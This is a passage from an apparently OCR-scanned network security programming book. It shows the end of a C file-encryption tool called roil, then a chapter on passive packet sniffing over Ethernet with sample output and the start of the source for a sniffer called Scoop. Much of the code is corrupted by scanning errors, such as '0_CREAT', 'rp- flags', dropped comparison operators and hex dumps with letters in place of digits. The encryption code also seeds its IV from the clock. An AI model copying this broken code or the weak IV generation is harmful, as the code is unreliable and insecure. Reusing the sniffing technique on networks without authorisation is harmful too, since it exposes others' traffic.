        if (strncmp(&rp->fn_out[n - 5], ".roil", 5)==0)
        {
            /* cut ".roil" from filename */
            rp->fn_out[n - 5]= 0;
        }
        else
        {
            /* unknown suffix / filename */
            sprintf(rp->errbuf, "open_outputfile(): unknown suffix \n");
            return (-1);
        }
     }
     /* open the file */
     rp->fd_out= open(rp->fn_out, 0_CREAT | 0_WRONLY);
     if (rp->fd_out==-1)
     {
        sprintf(rp->errbuf, "open_outputfile(): %s n", strerror(errno));
        return (-1);
     }



     /* set a umask of 600 */
     if (fchmod(rp->fd_out, 0600)==-1)
        {
        sprintf(rp->errbuf, "open_outputflie(): %s\n", strerror(errno));
        return (-1);
        }
     return (1);
     }

     void
     roil(struct roil_pack *rp)
     {
        int n, len;
        u_char *p;
   
        if (rp->flags & MD)
        {
           /*
            * We're going to be digesting a file here. The other case
            * when we would be digesting a user's passphrase to create a
            * sufficiently long key for encryption or decryption comes
            * into play from within roil_cipher() and never here.
           */
          rp->flags |=MD_FROMFILE;

        /*
        * Digest the file contained in rp. Upon success, the function
        * will return a pointer to a static buffer containing the hash
        * and the length will be written to len. Upon failure p will
        * point to a NULL buffer and rp- errbuf will contain the
        * reason.
        */
        p = roil_digest(rp, &len);
        if (p==NULL)
        {
           fprintf(stderr, "roil_digest(): %s", rp->errbuf);
           return;
        }
        printf("%s message digest of %s: ", rp->md, rp->fn_in);
        for (n = 0; n < len; n++)
        {
            printf ("%02x", p[n]);
        }
        printf("\n");
     }
     else if ((rp- flags & ENCRYPT) || (rp- flags & DECRYPT))
     {
        /*
         * Encrypt or decrypt the file contained in rp. Upon success,
         * the function will return 1; upon failure the function will



         * return -1 and rp-> errbuf will contain the reason.
         */
         if (roil_cipher(rp)==-1)
         {
            fprintf(stderr, "roil_cipher(): %s", rp->errbuf);
            return;
         }
       }
     }

     u_char *
     roil_digest(struct roil_pack *rp, int *digest_len)
     {
        int n;
        const EVP_MD *md;
        u_char buf[BUF_SIZE];
        EVP_MD_CTX md_context;
        static u_char digest[EVP_MAX_MD_SIZE];

        /* add all available digest algorithms to the hash table */
        OpenSSL_add_all_digests();

        /* load and verify the digest specified at the command line */
        md = EVP_get_digestbyname(rp->md);
       if (md==NULL)
       {
          snprintf(rp->errbuf, ERRBUF_SIZE, "unknown digest %s n",rp->md);
          goto bad;
       }

     /*
      * Initialize the md context. Really all this does is zero out the
      * structure.
      */
     EVP_MD_CTX_init(&md_context);

     /* initialize the md algorithm */
     if (EVP_DigestInit(&md_context, md)==0)
     {
        snprintf(rp->errbuf, ERRBUF_SIZE, "EVP_DigestInit() failed \n");
        goto bad;
     }

     memset (digest, 0, sizeof (digest));
     if (rp->flags & MD_FROMFILE)
     {
        /*
         * Digest the file. Read in a block of data into buf and
         * process it with the md algorithm.
         */      
        while ((n= read(rp->fd_in, buf, sizeof (buf))) 0)
        {



        if (EVP_DigestUpdate(&md_context, buf, n)==0)
        {
            snprintf(rp->errbuf, ERRBUF_SIZE,
            "EVP_DigestUpdate() failed \n");
            goto bad;
        }
     }
     /* retrieve the digest value and length from the md context */
        if (EVP_DigestFinal(&md_context, digest, digest_len)==0)
        {
            snprintf(rp->errbuf, ERRBUF_SIZE,
                    "EVP_DigestFinal() failed \n");
            goto bad;
        }
     }
     else
     {
        /*
         * Digest a user's passphrase. Since we know this no more
         * than KEY_LENGTH bytes, we can do it all in one chunk.
        */
       if (EVP_DigestUpdate(&md_context, rp- passphrase,
          strlen(rp->passphrase))==0)
       {
          snprintf(rp- errbuf, ERRBUF_SIZE,
                  "EVP_DigestUpdate() failed \n");
          goto bad;
       }
       if (EVP_DigestFinal(&md_context, digest, digest_len)==0)
       {
          snprintf(rp->errbuf, ERRBUF_SIZE,
                  "EVP_DigestFinal() failed \n");
          goto bad;
       }
     }

     return (digest);
    bad:
     * digest_len= 0;
     return (NULL);
    }

     int
     roil_cipher(struct roil_pack *rp)
     {
        int n, m, mode;
        EVP_CIPHER_CTX ea_context;
        const EVP_CIPHER *ea;
        u_long bytecnt;
        u_char buf[BUF_SIZE], ebuf[BUF_SIZE], key[KEY_LENGTH],
     iv[IV_LENGTH];



     /* set the mode for the cipher functions */
     mode= (rp->flags & ENCRYPT) ? 1 : 0;

     /* add all available encryption algorithms to the hash table */
     OpenSSL_add_all_ciphers();

     if (rp->flags & ENCRYPT)
     {
        /*
         * If we're encrypting, we have to first load and verify the
         * cipher specified at the command line.
         */
        ea = EVP_get_cipherbyname(rp->ea);
        if (ea == NULL)
        {
            snprintf(rp->errbuf, ERRBUF_SIZE, "unknown cipher %s n",
                    rp->ea);
            return (-1);
        }
     }
     else /* decrypting */
     {
        /*
         * If we're decrypting, we have to check to see if this file
         * was previously encrypted by roil. To do that, we read the
         * first 8 bytes and see if they correspond to the "magic
         * number" that is written to every roiled file prior to
         * encryption.
         */
        n= read(rp->fd_in, buf, 8);
        if (n != 8)
        {
            snprintf(rp->errbuf, ERRBUF_SIZE, "read error %s\n",
                    strerror(errno));
            return (-1);
        }
        if (bcmp(buf, magic, 8))
        {
        snprintf(rp->errbuf, ERRBUF_SIZE, "%s is not a roiled file n",
             rp->fn_in);
        return (-1);
        }
        /*
         * Next, we have to determine which symmetric cipher was used
         * to encrypt the file. That is written in the next 16 bytes
         * of the file.
         */
        n = read(rp->fd_in, buf, 16);
        if (n !=16)
        {
            snprintf(rp->errbuf, ERRBUF_SIZE, "read error %s n",
                    strerror(errno));



            return (-1);
        }

        /*
         * Look up the cipher by canonical name and if it's "good" fill
         * in an EVP_CIPHER structure.
         */
        ea= EVP_get_cipherbyname(buf);
        if (ea==NULL)
        {
           snprintf(rp->errbuf, ERRBUF_SIZE, "unknown cipher %s n",
           buf) ;
           return (-1);
        }

        /*
         * The next 8 bytes contain the initialization vector, which
         * may or may not be used by the algorithm. We store it either
         * way.
         */
        n = read(rp->fd_in, iv, 8);
        if (n !=8)
        {
           snprintf(rp->errbuf, ERRBUF_SIZE, "read error %s n", 
                   strerror(errno));
           return (-1);
        }
     }

     /*
      * Get a passpnrase from the user to use as a key for the symmetric
      * encryption.
      */
     if (get_passphrase(rp->passphrase)==-1)
     {
         snprintf(rp->errbuf, ERRBUF_SIZE, "can't read passphrase %s n",
                  strerror(errno));
         return (-1);
     }

     /*
      * Take the passphrase and hash it using SHA1 to create our
      * symmetric key.
      */
     if (make_key(rp, key)==-1)
     {

        /* error set in roil_digest() */
        return (-1);
     }
        /* we appear good to go; we open our output file */
     if (open_outputfile(rp)==-1)



     {
        /* error set in open_outputfile() */
        return (-1);
     }
     if (rp->flags & ENCRYPT)
     {
        /*
         * Write out our 8 byte magic number to the file. This will
         * let the decryption code know if this file was encrypted by
         * us or not.
         */
        n = write(rp->fd_out, magic, 8);
        if (n != 8)
        {
           snprintf(rp->errbuf, ERRBUF_SIZE, "write error %s\n", 
                   strerror (errno) );
           return (-1);
        }

        /*
         * Write the encryption algorithm to the file, which will be
         * NULL padded to 16 bytes. This will allow the decryption
         * code to figure it out without needing the user to specify.
         */
        memset(buf, 0, sizeof (buf));
        memcpy(buf, rp->ea, strlen(rp->ea)) ;
        n= write(rp->fd_out, buf, 16);
        if (n !=16)
        {
           snprintf(rp->errbuf, ERRBUF_SIZE, "write error %s n",
                   strerror(errno));
           return (-1);
        }

        /*
         * Some encryption algorithms use an initialization vector to
         * seed the first round of encryption with (it acts as a dummy
         * block). We might need it so we'll get one and write it to
         * the file next.
         */
        get_iv(iv);
        n= write(rp->fd_out, iv, 8);
        if (n != 8)
        {
            snprintf(rp->errbuf, ERRBUF_SIZE, "write error %s n",
                    strerror(errno));
            return (-1);
        }
     }

     /*
     * Initialize the cipher context. Really all this does is zero



     * out the structure.
     */
     EVP_CIPHER_CTX_init(&ea_context);
     /* initialize the encryption/decryption operation */
     if (EVP_CipherInit_ex(&ea_context, ea, NULL, key, iv, mode)==0)
     {
         snprintf(rp->errbuf, ERRBUF_SIZE, "EVP_CipherInit_ex() failed\n");
         return (-1);
     }

     /*
      * Encrypt/decrypt the file. Read a block of data, encrypt it and
      * write it out to the file.
      */
     if (rp->flags & ENCRYPT)
     {
        fprintf(stderr, "\nencrypting file \"%s\"\n",
        rp->fn_in);
     }
     else
     {
        fprintf(stderr, "\ndecrypting %s encrypted file\"%s "\n", buf,
               rp->fn_in);
     }
     bytecnt= 0;
     while ((n= read(rp->fd_in, buf, sizeof (buf))) > 0)
     {
        bytecnt +=n;
        /*
         * Encrypt or decrypt n bytes from buf and write the output to
         * ebuf.
         */
        if (EVP_CipherUpdate(&ea_context, ebuf, &m, buf, n)==0)
        {
            snprintf(rp->errbuf, ERRBUF_SIZE,
                    "EVP_CipherUpdate() failed \n");
            return (-1);
     }
     n = write(rp->fd_out, ebuf, m);
     if (n !=m)
     {
         snprintf(rp->errbuf, ERRBUF_SIZE, "write error %s n",
                 strerror(errno));
         return (-1);
     }
     fprintf(stderr, "byte: Ox%081x\r", bytecnt);
     }

     /*
     * Finalize the encryption or decryption by taking care of padding
     * the last block if necessary.
     */



     if (EVP_CipherFinal_ex(&ea_context, ebuf, &m)==0)
     {
        snprintf(rp->errbuf, ERRBUF_SIZE,
                "EVP_CipherFinal_ex() failed \n");
        return (-1);
     }
     n= write(rp- fd_out, ebuf, m);
     if (n !=m)
     {
        snprintf(rp->errbuf, ERRBUF_SIZE, "write error %s n",
                strerror(errno));
        return (-1);
     }
     printf("\ndone, output file is \"%s \"\n", rp->fn_out);
     return (1);
     }
     int
     get_passphrase(char *passphrase)
     {
     int n, retry;
     char passphrase_match[KEY_LENGTH];
     struct termios term;
     /* we want to turn off terminal echoing so no one can see! */
     n= tcgetattr(STDIN_FILENO, &term);
     if (n==-1)
     {
        fprintf(stderr, "warning: password will be echoed\n");
        /* nonfatal */
     }
     else
     {
        /* disable terminal echo */
        term.c_lflag &=-ECHO;
     }
     /* set our changed state "NOW"*/
     n= tcsetattr(STDIN_FILENO, TCSANOW, &term);
     if (n==-1)
     {
        fprintf(stderr, "warning: password will be echoed \n");
        /* nonfatal */
     }

     retry= RETRY_THRESHOLD;
     memset(passphrase, 0, KEY_LENGTH);

   again:
   
     printf("Passphrase: ");
     if (fgets(passphrase, KEY_LENGTH, stdin)==NULL)
     {
        return (-1);
     }



     passphrase[strlen(passphrase) - 1]= 0;
     printf("\nAgain:");
     if (fgets(passphrase_match, KEY_LENGTH, stdin)==NULL)
     {
        return (-1);
     }
     passphrase_match[strlen(passphrase_match) - 1]= 0;

     /*
      * Check to make sure they match. It's safe to use strcmp here
      * since we're confident both strings will be KEY_LENGTH or fewer
      * bytes.
      */
     if (strcmp(passphrase, passphrase_match))
     {
        if (retry<= 0)
        {
           /* we've run through this RETRY_THRESHOLD times, we're done */
           fprintf(stderr, "\nyou're hopeless; get typing lessons \n");
           errno= EPERH; /* this is as good as any I suppose */
           return (-1);
        }
        fprintf(stderr, "\nno doofus, they don't match, try again\n");
        retry--;
        goto again;
      }
      memset(passphrase_match, 0, KEY_LENGTH);
      return (1);
     }

     int
     make_key(struct roil_pack *rp, u_char *key)
     {
        int len;
        u_char *p;

        strncpy(rp->md, "sha1", 4);

        p= roil_digest(rp, &len);
        if (p==NULL)
        {
            /* error set in roil_digest() */
            return (-1);
        }

        memcpy(key, p, len);
        return (1);
     }

     void
     get_iv(u_char *iv)
     {



        int n;

        /* XXX - should use the rand() interface from OpenSSL */
        srandom((unsigned)time(NULL));

        /* get 8 bytes of pseudo random value, from 0 - 255 */
        for (n= 0; n < IV_LENGTH; n++)
        {
            iv[n]= random() % 0xff;
        }
     }

     void
     usage(char *name)
     {
        printf("usage %s [options] file n"
                        "-e cipher_type\t\tencrypt\n"
                        "-d\t\t tdecrypt\n"
                        "-h\t\t\tthis blurb you see right here n"
                        "-m message_digest\tmessage digest\n", name);
     }

     /* EOF */

 



 

Chapter 8: Passive Reconnaissance Techniques

One of the most powerful tools in a network security analyst's toolbox does not generate any network activity
whatsoever. In fact, you can gather such a large amount of information from simply listening to the medium
(making more advanced probing techniques unnecessary). Such passive reconnaissance techniques occur
through capturing unsolicited information from one or more sources in what is considered an untraceable or
unnoticeable manner. Wiretapping, present in the fields of international espionage, law enforcement, and
computer security, are implementations of passive reconnaissance. This chapter focuses on computer
security.

Packet Sniffing

Packet sniffing (also called packet interception) is the idle capturing of traffic as it traverses a network. The
content or ultimate destination of the traffic is irrelevant; all that matters is that the packet sniffer can see it. As
we will see later in the chapter, whether or not a sniffer can see the traffic generally ties to Layer 2 specifics.
Packet sniffing is a simple yet powerful technique in its own right, but it is also critical to understand the
method in the context of a fundamental building block in more complex tools. While you can perform packet
sniffing across many different network types, this chapter focuses on Ethernet as a Layer 2 protocol due to
the overwhelming, ubiquitous deployment of the standard. You implement the packet sniffing technique by
employing the libpcap component, seen earlier in Chapter 2.

It is important to note that if built properly, a packet sniffer is completely undetectable. Various behaviors
associated with the operating system, however, sometimes lead to vulnerabilities that can make the process
remotely detectable. Tools such as @Stake's Antisniff analyze how systems react to spoofed IP packets and
how associated processors load in order to detect active sniffing tools. Traffic elicited through ARP,
ICMP_ECHO, and other types of packets can lead to remote detection, as well.

Note Packet sniffing tools to gather data from 802.11 wireless networks, which are rapidly gaining
acceptance across campus, corporate, and home networks, are popping up all over the place.

The term "sniffer" is actually a registered trademark by Network Associates for their Sniffer Network
Analyzer.

Packet Sniffing on Ethernet

Ethernet is a protocol based on the work done on the ALOHA wireless network developed at the University of
Hawaii in 1970. In 1972, Bob Metcalfe incorporated ALOHA's method of broadcasting, collision avoidance,
and collision recovery into the design of a wire-based network. Packet sniffing on Ethernet networks is easy to
understand and execute due to its broadcast nature, where stations broadcast their traffic to every other
station on the link. The reader should note that this broadcast is not at Layer 2 but rather it is a Layer 1
physical specification of how the electrical signal is sent down the wire. The individual station on the network
must be a good neighbor and only look at traffic destined for it. In order to eavesdrop on this traffic, the
network interface enters "promiscuous mode," which instructs it to pass all frames that it receives to the
packet sniffing application. A typical packet sniffing application places the network interface in promiscuous
mode, receives all of the traffic on the local network, and then performs some form of programmer-defined
processing.

It is important to note that packet sniffing only works on a local network segment in a particular collision
domain. That is, switches, bridges, routers, or other Layer 2 or 3 segmenting devices form boundaries beyond
which packet sniffing is generally not possible. The wide-scale deployment of this hardware in locations



where hubs are traditionally utilized has dramatically reduced the simplicity associated with packet sniffing. Of
course, it is possible to cause some of these devices to fail open and extend the range of the packet sniffer,
but that is beyond the scope of this book. The massive emergence of unencrypted 802.11 networks in both
urban and suburban areas has led to a resurgence in the use of simple packet sniffing tools and shows that
the elimination of these tools from the security analyst's arsenal would be quite premature.

Packet Demultiplexing and Protocol Decoders

Any packet sniffer worth its salt has some sort of packet demultiplexing and protocol decoding logic.
Demultiplexing is the process by which an incoming Ethernet frame pulls apart and passes to the appropriate
upper-layer protocol module. Decoding is the actual processing and dissection of the protocol at a given
layer. To put it another way, packet sniffers employing this logic approximate an IP stack or endpoint
application—parsing the frame, packet, datagram, or segment and making sense of it. Early tools did little
beyond snatching frames from the network and collecting them for the user to puzzle over, while
conventional tools like Ethereal have hundreds of protocol decoders comprising more than 90 percent of the
codebase. Atypical demultiplexing starts at the beginning of the captured frame, looking at key header fields
to determine what sort of packet it is.

Figure 8.1 illustrates a sample demultiplexing of a 42-byte Ethernet frame captured by a packet sniffer
(technically, the frame is 54 bytes, but almost every Ethernet driver will strip the preamble and trailer from the
frame before passing it to the application). Initially, all it knows is that it has some sort of Ethernet frame with
28 bytes of payload. So, the first thing the packet sniffer has to do is determine whether the frame is an IEEE
802.3 Ethernet frame or an RFC 894 Ethernet II frame. The two header formats are identical for the first 12
bytes (destination and source address). The 2 bytes following the source MAC address are different for each
specification; 802.3 frames use this space to define a 2-byte length covering the rest of the frame, while
Ethernet II frames have a 2-byte type field indicating the Layer 3 protocol. Fortunately, the IEEE maintains the
Ethernet type database and has reserved values from 0x000-0x05dc (0-1500) bytes. All widely used

Ethernet II types use an orthogonal number space, eliminating the likelihood of contention. Because the
frame contains 0x0800 in the length/type field, the well-known Ethernet type for IP version 4, the packet

sniffer knows that this frame is an Ethernet IIx frame. This process also lets the packet sniffer know that the
frame contains an IPv4 packet, which can then be passed onto the IP demultiplexing and decoding module.



Figure 8.1: Demultiplexing of an Ethernet frame.

The next module continues the process by examining the IP protocol field in order to determine the Layer 4
protocol. In this case, the field contains a value of 0x01, the protocol code for ICMP (Internet Control

Message Protocol). The IP demultiplexing module then checks the IP header length to see what (if any)
options are present. This process enables the code to know how big the IP header is in total and at which
offset the ICMP header starts. The IP header length byte is actually split in half, with the upper four bits
encoding the version (which is always 0x4 for IP version 4) and the lower four bits containing the number of

32-bit words that comprise the IP header. When no options are present, as is the case in Figure 8.1, the
header length is 0x5—indicating that the IP header is 20 bytes in size. The ICMP demultiplexing module
performs subsequent work on the packet. It checks the ICMP type, which is 0x08, indicating that the packet

is an ICMP echo request.

Bitwise Operations and Byte Ordering Issues

Two concepts that are often confusing to application programmers when developing tools that utilize packet-
sniffing techniques are bitwise operations and byte ordering.

Bitwise operations manipulate fields of memory smaller than 1 byte. This situation happens frequently during
code optimization jobs and when dealing with network protocols that often have 4-, 2-, and even 1-bit fields
that need to be accessed and manipulated.

Byte ordering refers to one of two ways in which multi-byte numbers are stored in memory. Engineers refer to
these two methods, and the pro-cessors that utilize them, as being either big-endian or little-endian (in
reference to Jonathan Swift's Gulliver's Travels). Big-endian numbers are stored with the most significant byte
in the lowest memory location while little-endian numbers are stored with the least-significant byte in the
lowest memory location. Different processor architectures natively store numbers in either one format or the
other (referred to as "host byte order"), but in order to communicate, everyone must agree on a common
format. This agreed-upon "network byte order" is big-endian. For a packet sniffer, this situation means that all
multi-byte values pulled from the wire will be big-endian and should be converted to host byte order before



parsing. Because host byte order can be either big-endian or little-endian, however, you should write portable
code to handle either instance. Fortunately for the application programmer, there are simple macros present
in most, if not all, standard C implementations to convert multi-byte data between the two formats. Table 8.1
summarizes these macros.

Table 8.1: Byte-Ordering Macros

MACRO         USE

htonl() Converting a 4-byte value from host to network order

htons() Converting a 2-byte value from host to network order

ntohl() Converting a 4-byte value from network to host order

ntohs() Converting a 2-byte value from network to host order

The handy feature of these macros is that they are always correct for the architecture on which they are
running, either big-endian or little-endian host byte order.

The Bit and the Pendulum: Byte Order from Chaos

The following few snippets of code will help the application programmer understand byte ordering and bit
manipulations.

You will frequently use the AND (&) operator to test whether certain bits are set. The following few lines of
code check the 14th byte of a TCP header, which contains the control flags. In the first conditional, for
example, if the bit corresponding to the FIN flag is set (bit 0x01), the ternary operation will return the "F" string
to printf():

  printf("%s%s%s%s%s%s n",
                        (packet[13] & 0x01) ? "F" : "", /* FIN flag */
                        (packet[13] & 0x02) ? "S" : "", /* SYN flag */
                        (packet[13] & 0x04) ? "R" : "", /* RST flag */
                        (packet[13] & 0x08) ? "P" : "", /* PSH flag */
                        (packet[13] & 0x10) ? "A" : "", /* ACK flag */
                        (packet[13] & 0x20) ? "U" : "");/* URG flag */

You can also use the AND operator to clear out (or mask) certain bits. The following line of code extracts the
4-bit header length from the first byte of an IPv4 header. It uses an AND mask of OxOf to shave off the low-

order 4 bits (which, as shown earlier, is the number of 32-bit words in the IPv4 header):

  ip_hl = ip_packet[0] & 0x0f;



This code resulted in the number of 32-bit words in the IPv4 header, but it is a bit more useful to convert the
value into its decimal representation. The left shift operator (<<) is the simple and computationally efficient
way to accomplish this task. By shifting this value two to the left (which you can think of as multiplying the
value by 22 or 4), we end up with the size of the IPv4 header in bytes:

  ip_hl <<= 0x02;

The OR (|) operator sets certain bits. Consider the following handy line of code that enables the application
programmer to extract (and print) the 2-byte packet length from an IPv4 header. The first byte is shifted eight
places to the left, and the second byte is set via an OR mask:

  printf("(%d) ", (ip_packet[2] << 0x08) | ip_packet[3]);

This line of code is convenient in that it extracts a network byte-ordered value and represents it properly on
either a big-endian or little-endian machine without needing to memcpy() or call a byte-ordering macro. It

pops up frequently in the sample code at the end of the chapter. The other option is to use the
aforementioned byte-ordering macro, as in the following line of code:

  printf("(%d) ", (ntohs(*(u_short *)&ip_packet[2])));

While they both accomplish the same thing, the former is more elegant looking and less prone to syntax
errors.

 



 

Sample Program-Scoop

Scoop, as shown in Figure 8.2, is a small tool that exhibits the packet-sniffing, passive reconnaissance
technique. It is a simple Ethernet packet sniffer that understands Ethernet II, ARP, IP, ICMP, UDP, and TCP. It
has primitive demultiplexing and decoding capabilities, enabling it to parse a few of the fields in these
protocols.

Figure 8.2: Scoop packet sniffer.

By specifying the -h argument, Scoop dumps its usage as follows:

  tradecraft: ~# ./scoop -h
  Scoop 1.0 [IP packet sniffing tool]
  usage ./scoop [options] ["pcap filter"]
  -h              this blurb you see right here
  -i device       specify a device
  -S              streaming packet dump (useless)
  -s snaplen      set the snapshot length
  -x              print payload data in hex

Like many programs we have seen in this book, the user can specify a specific device for packet sniffing. The
-s option enables the user to specify the largest frame that Scoop should capture. The -x option tells Scoop

to print everything past the Ethernet header in hex. Finally, the user can specify a libpcap filter to Scoop. A
sample invocation of Scoop with no arguments is as follows:

  tradecraft: ~# ./scoop
  Scoop 1.0 [IP packet sniffing tool]
  <ctrl-c> to quit
  IP: 192.168.0.118 -> 10.149.0.100 (73) id: 29225 UDP: 11847 -> 53



  IP: 10.149.0.100  -> 192.168.0.118 (118) id: 26315 UDP: 53 -> 11847
  IP: 192.168.0.118 -> 10.149.0.1004 (73) id: 2481 UDP: 36093 -> 53
  IP: 10.149.0.1004 -> 192.168.0.118 (56) id: 44951 ICMP: unreachable port
  IP: 192.168.0.118 -> 192.168.0.114 (84) id: 12304 ICMP: echo
  IP: 192.168.0.114 -> 192.168.0.118 (84) id: 0 ICMP: echo reply
  IP: 192.168.0.118 -> 192.168.0.114 (84) id: 32632 ICMP: echo
  IP: 192.168.0.114 -> 192.168.0.118 (84) id: 0 ICMP: echo reply
  IP: 192.168.0.118 -> 192.168.0.115 (116) id: 4386 TCP: 443 -> 15925 PA
  IP: 192.168.0.115 -> 192.168.0.118 (40) id: 48620 TCP: 15925 -> 443 A
  IP: 192.168.0.118 -> 192.168.0.115 (204) id: 31689 TCP: 443 -> 15925 PA
  IP: 192.168.0.115 -> 192.168.0.118 (40) id: 48629 TCP: 15925 -> 443 A
  IP: 192.168.0.118 -> 192.168.0.115 (204) id: 28551 TCP: 443 -> 15925 PA
  ARP: y0 who's got 192.168.0.118 tell 192.168.0.114
  ARP: y0 192.168.0.118 is at 0:a0:c9:95:31:af
  ARP: y0 who's got 192.168.0.117 tell 192.168.0.118
  ARP: y0 who's got 192.168.0.117 tell 192.168.0.118
  IP: 192.168.0.118 -> 192.168.22.111 (76) id: 17686 UDP: 123 -> 123
  IP: 192.168.22.111 -> 192.168.0.118 (76) id: 9021 UDP: 123 -> 123
  ^CInterrupt signal caught…
  
  Packets received by libpcap:     956
  Packets dropped by libpcap:        0

This code is all pretty standard. We can see ARP, UDP, TCP, and ICMP traffic on the network. Above, we
can see a TCP session between 192.168.0.118 and 192.168.0.115 on TCP port 443, which looks pretty
interesting. Let's zero in on it a bit with the -x option and a libpcap filter string:

  tradecraft: ~# ./scoop -s400 -x "tcp port 15925"
  Scoop 1.0 [IP packet sniffing tool]
  <ctrl-c> to quit
  IP: 192.168.0.118 -> 192.168.0.115 (116) id: 39023 TCP: 443 -> 15925 PA
  00     4510 0074 986f 4000 4006 d824 c0a8 0076
  10     c0a8 0073 0lbb 3e35 89e4 laea 615b d2c7
  20     5018 40b0 a3b3 0000 0000 0044 8a59 6113
  30     409d 7ddc 696a decl 2a7a alc8 28dd 5abd
  40     0a0f 30b2 21b2 4b50 0022 00df abf5 6cc6
  50     95c9 71e6 37b2 4694 7be4 f472 7012 def6
  60     83e7 ad68 7fcb 73bf 0686 f7f7 80f5 0e03
  70     9ecf 4e2d
  IP: 192.168.0.115 -> 192.168.0.118 (40) id: 51272 TCP: 15925 -> 443 A
  00     4500 0028 c848 4000 8006 68a7 c0a8 0073
  10     c0a8 0076 3e35 0lbb 615b d2c7 89e4 Ib36
  20     5010 fa54 d271 0000 0000 0000 0000
  IP: 192.168.0.118 -> 192.168.0.115 (332) id: 61251 TCP: 443 -> 15925 PA
  00     4510 014c ef43 4000 4006 8078 c0a8 0076
  10     c0a8 0073 0lbb 3e35 89e4 Ib36 615b d2c7
  20     5018 40b0 8d81 0000 0000 0llc 3fec 0cbc
  30     c2c3 db41 f596 0563 4fd0 442b ef86 alf8
  40     2589 8905 2e85 7211 b704 4cfl ee71 2818
  50     af28 5c6e fd42 4fda f2aa 9c7d bllf b556
  60     eala 0522 0eef 86bf 89al 3560 5697 ba09



  70     4f6f d44e f5bc ce!8 462b 719c 29ad cedl
  80     bcd7 2752 9ce4 2a2a 35bl If4c bd0a 9c61
  90     5e3b 5222 fee3 fb44 4eed 5344 d!3d e8dd
  a0     842c 44ac 61ed 0125 6e44 0611 d87b efd6
  b0     003e 78bb 8890 0bff f2a4 56d5 be0l 79f8
  c0     f79a f52a a962 89a0 45d6 7c78 e330 49aa
  d0     4361 73c8 83e3 f3c0 5956 e72b 2ac3 c0cd
  e0     Ia25 66fb bblc 1774 17a6 3ed6 e0bc bb3b
  f0     90d3 3b98 f3f8 dla9 6084 c8f3 e478 2203
  100    d7ba 8432 c450 6c7a dd37 af2b 062b dc77
  110    51cl 20f8 alb7 c81c 7b71 79be c8bl eadl
  120    07fl 5dl4 0983 f3dd e7c6 f298 7afe 9838
  130    22ad 5418 cb49 5fl7 23f0 a35b Id90 blfd
  140    d4f2 7675 Idc7 199b 8cif 6adb
  
  Packets received by libpcap:     27
  Packets dropped by libpcap:       0

It appears that Scoop picked up some SSL traffic on the local network. It is odd, however, that this hex dump
of the packet data does not look like SSL traffic. Perhaps this situation is an exercise to the reader to figure
out what it really is.

 



 

Sample Code-Scoop

The following two source files comprise the Scoop codebase. To preserve readability, we richly comment the
code but include no book-text inside the code. You can download the full source files from this book's
companion Web site at http://www.wiley.com/compbooks/schiffman .

scoop.h

  /*
   * $Id: scoop.h,v 1.2 2002/03/11 07:28:46 route Exp $
   *
   * Building Open Source Network Security Tools
   * scoop.h - Packet Sniffing Technique example code
   *
   * Copyright (c) 2002 Mike D. Schiffman mike@infonexus.com
   * All rights reserved.
   *
   */
  
  #include <unistd.h>
  #include <errno.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <netinet/in.h>
  #include <pcap.h>
  #include <string.h>
  #include <signal.h>
  
  #define SNAPLEN     200
  #define PROMISC     1
  #define TIMEOUT     500
  #define FILTER      "arp or tcp or udp or icmp"
  
  struct scoop_pack
  {
        pcap_t *p;                        /* pcap descriptor */
        struct pcap_pkthdr h;             /* pcap packet header */
        u_char flags;                     /* control flags */
  #define PRINT_HEX          0x01         /* print packet data */
  #define STREAMING_BITS     0x02         /* stream packets */
        u_char *packet;                   /* the packet! */
  };
  
  struct scoop_pack *scoop_init(char *, u_char, int, char *, char *);
  void scoop_destroy(struct scoop_pack *);
  void scoop(struct scoop_pack *);
  void demultiplex(struct scoop_pack *);

http://www.wiley.com/compbooks/schiffman


  void decode_arp(u_char *, u_char);
  void decode_ip(u_char *, u_char);
  void decode_tcp(u_char *, u_char);
  void decode_udp(u_char *, u_char);
  void decode_icmp(u_char *, u_char);
  void decode_unknown(u_char *, u_char);
  void print_hex(u_char * u_short);
  void cleanup(int);
  int catch_sig(int, void(*)());
  void usage(char *);
  
  u_char * icmp_type[] =
  {
       "echo reply",
       "unknown (1)",
       "unknown (2)",
       "unreachable",
       "source quench",
       "redirect",
       "unknown (6)",
       "unknown (7)",
       "echo",
       "router adv",
       "router solicit",
       "time exceed",
       "parameter prob",
       "timestamp",
       "timestamp req",
       "info request",
       "info reply",
       "mask request",
       "mask reply",
       0
  };
  
  
  u_char *icmp_code_unreach[] =
  {
       "net",
       "host",
       "protocol",
       "port",
       "need frag",
       "src rte fail",
       "net unknown",
       "host unknown",
       "isolated",
       "net prohib",
       "host prohib",
       "TOS net",
       "TOS host",
       "filter prohib",



       "host prec",
       "prec cutoff",
       0
  };
  
  
  u_char *icmp_code_redirect[] =
  {
       "net",
       "host",
       "TOS net",
       "TOS host",
       0
  };
  
  
  u_char *icmp_code_exceed[] =
  {
       "in transit",
       "reassembly",
       0
  };
  
  
  u_char *icmp_code_parameter[] =
  {
       "options absent",
       0
  };
  
  
  /* EOF */

scoop.c

  /*
   * $Id: scoop.c, v 1.2 2002/03/11 07:28:45 route Exp $
   *
   * Building Open Source Network Security Tools
   * scoop.c - Packet Sniffing Technique example code
   *
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *
   */
  
  #include "./scoop.h"
  
  int loop = 1;
  



  int
  main(int argc, char **argv)
  {
       int c, snaplen;
       u_char flags;
       char *device, *filter;
       struct scoop_pack *vp;
       char errbuf [PCAP_ERRBUF_SIZ E];
  
       printf("Scoop 1.0 [IP packet sniffing tool] \n");
  
       flags = 0;
       snaplen = 0;
       device = NULL;
       filter = NULL;
       while ((c = getopt(argc, argv, "hi:Ss:x")) != EOF)
       {
            switch (c)
            {
                 case 'h':
                      usage (argv[0]);
            exit(EXIT_SUCCESS);
            break;
       case 'i':
            device = optarg;
            break;
       case 'S':
            flags |= STREAMING_BITS;
            break;
       case 's':
            snaplen = atoi(optarg);
            if (snaplen < 14)
            {
                 fprintf(stderr, "warning, very small snaplen! \n");
            }
            break;
       case 'x':
            flags |= PRINT_HEX;
            break;
       default:
            usage(argv[0]);
            exit(EXIT_FAILURE);
       }
  }
  if (argc - optind 1)
  {
       usage(argv[0]);
       exit(EXIT_FAILURE);
  }
  else
  {
       /* user specified a pcap filter */



       filter = argv[optind];
  }
  
  /*
   * Initialize scoop. Here we'll bring up libpcap set the
   * filter and set up the signal catcher.
   */
  vp = scoop_init(device, flags, snaplen, filter, errbuf);
  if (vp == NULL)
